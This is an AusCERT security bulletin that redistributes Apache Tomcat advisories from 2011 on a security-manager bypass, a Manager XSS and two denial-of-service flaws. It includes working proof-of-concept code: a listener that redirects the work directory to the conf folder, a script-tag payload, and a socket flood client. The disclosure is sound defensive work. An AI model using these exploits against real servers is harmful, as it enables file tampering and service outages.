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===========================================================================
             AUSCERT External Security Bulletin Redistribution

                               ESB-2011.0119
     A number of vulnerabilities have been identified in Apache Tomcat
                              7 February 2011

===========================================================================

        AusCERT Security Bulletin Summary
        ---------------------------------

Product:          Tomcat
Publisher:        Apache
Operating System: UNIX variants (UNIX, Linux, OSX)
                  Windows
Impact/Access:    Modify Arbitrary Files          -- Remote with User Interaction
                  Execute Arbitrary Code/Commands -- Remote with User Interaction
                  Denial of Service               -- Remote/Unauthenticated      
Resolution:       Patch/Upgrade
CVE Names:        CVE-2011-0534 CVE-2011-0013 CVE-2010-3718

Comment: This bulletin contains four (4) Apache security advisories.

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CVE-2010-3718 Apache Tomcat Local bypass of security manger file permissions

Severity: Low

Vendor: The Apache Software Foundation

Versions Affected:
- - - Tomcat 7.0.0 to 7.0.3
- - - Tomcat 6.0.0 to 6.0.?
- - - Tomcat 5.5.0 to 5.5.?
- - - Earlier, unsupported versions may also be affected

Description:
When running under a SecurityManager, access to the file system is
limited but web applications are granted read/write permissions to the
work directory. This directory is used for a variety of temporary files
such as the intermediate files generated when compiling JSPs to Servlets.
The location of the work directory is specified by a ServletContect
attribute that is meant to be read-only to web applications. However,
due to a coding error, the read-only setting was not applied. Therefore
a malicious web application may modify the attribute before Tomcat
applies the file permissions. This can be used to grant read/write
permissions to any area on the file system which a malicious web
application may then take advantage of.
This vulnerability is only applicable when hosting web applications from
untrusted sources such as shared hosting environments.

Example (AL2 licensed):

Listener source
- - ---------------
package listeners;
import javax.servlet.ServletContext;
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;

public final class FooListener implements ServletContextListener {
    public void contextInitialized(ServletContextEvent event) {
        ServletContext context = event.getServletContext();
        java.io.File workdir = (java.io.File) context
                .getAttribute("javax.servlet.context.tempdir");
        if (workdir.toString().indexOf("..") < 0) {
            context.setAttribute("javax.servlet.context.tempdir",
                    new java.io.File(workdir, "../../../../conf"));
        }
    }
    public void contextDestroyed(ServletContextEvent event) {
    }
}

web.xml snippet
- - ---------------
<listener>
  <listener-class>listeners.FooListener</listener-class>
</listener>


Mitigation:
Users of affected versions should apply one of the following mitigations:
- - - Upgrade to a Tomcat version where this issue is fixed
- - - Undeploy all web applications from untrusted sources

Credit:
The issue was identified by the Tomcat security team.

References:
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
http://tomcat.apache.org/security-5.html
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CVE-2011-0013 Apache Tomcat Manager XSS vulnerability

Severity: Low

Vendor: The Apache Software Foundation

Versions Affected:
- - - Tomcat 7.0.0 to 7.0.5
- - - Tomcat 6.0.0 to 6.0.29
- - - Tomcat 5.5.0 to 5.5.31
- - - Earlier, unsupported versions may also be affected

Description:
The HTML Manager interface displayed web applciation provided data, such
as display names, without filtering. A malicious web application could
trigger script execution by an administartive user when viewing the
manager pages.

Example:
<display-name>&lt;script&gt;alert('hi');&lt;/script&gt;</display-name>

Mitigation:
Users of affected versions should apply one of the following mitigations:
- - - Upgrade to a Tomcat version where this issue is fixed
- - - Undeploy untrusted web applications
- - - Remove the Manager application

Credit:
The issue was identified by the Tomcat security team.

References:
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
http://tomcat.apache.org/security-5.html
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CVE-2011-0534 Apache Tomcat DoS vulnerability

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:
- - - Tomcat 7.0.0 to 7.0.6
- - - Tomcat 6.0.0 to 6.0.30

Description:
Tomcat did not enforce the maxHttpHeaderSize limit while parsing the
request line in the NIO HTTP connector. A specially crafted request
could trigger an DoS via an OutOfMemoryError.

Example (AL2 licensed):
package bug50631;

import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketAddress;

public class FloodClient1 {
    static final int k_step = 10;
    static byte[] value = new byte[k_step * 1024];

    public static void main(String[] args) throws Exception {
        int i = 0;
        while (i < value.length) {
            value[i++] = 13;
        }
        SocketAddress addr = new InetSocketAddress("localhost", 8080);
        Socket socket = new Socket();
        socket.setSoTimeout(0);
        socket.connect(addr, 0);
        OutputStream os = socket.getOutputStream();
        // InputStream is = socket.getInputStream();

        int k = k_step;
        int m = 0;
        int k100 = 100;
        while (m < 2000) {
            if (k >= k100) {
                k100 += 100;
                System.out.print('.');
                System.out.flush();
            }
            if (k >= 1024) {
                m++;
                k -= 1024;
                k100 = 100;
                System.out.println(" " + m + " Mb");
            }
            os.write(value);
            os.flush();
            Thread.sleep(1);
            k+=k_step;
        }
    }
}

Mitigation:
Users of affected versions should apply one of the following mitigations
- - - Upgrade to a Tomcat version where this issue is fixed
- - - Use a BIO or AJP HTTP connector in place of an NIO HTTP connector

Credit:
The issue was identified by the Tomcat security team.

References:
https://issues.apache.org/bugzilla/show_bug.cgi?id=50631
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
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The original report is [1].

Tomcat is affected when  accessing a form based security constrained
page or any page that calls javax.servlet.ServletRequest.getLocale() or
javax.servlet.ServletRequest.getLocales().

Work-arounds have been implemented in the following versions:
- - - 7.0.8 (released)
- - - 6.0.32 (released)
- - - 5.5.33 (released expected Monday 7 Feb 2011)

All users are recommended to upgrade to a Tomcat version with the
work-around. Users unable to upgrade can filter malicious requests via a
Servlet filter, an httpd re-write rule (if Tomcat is behind an httpd
reverse proxy) or other filtering as available.

Accept-Language headers that are compliant with RFC 2616 can not trigger
this bug. Therefore, filtering out all request with non-compliant
headers will provide protection against the DOS vulnerability.

The Apache Tomcat Security Team


[1]
http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/
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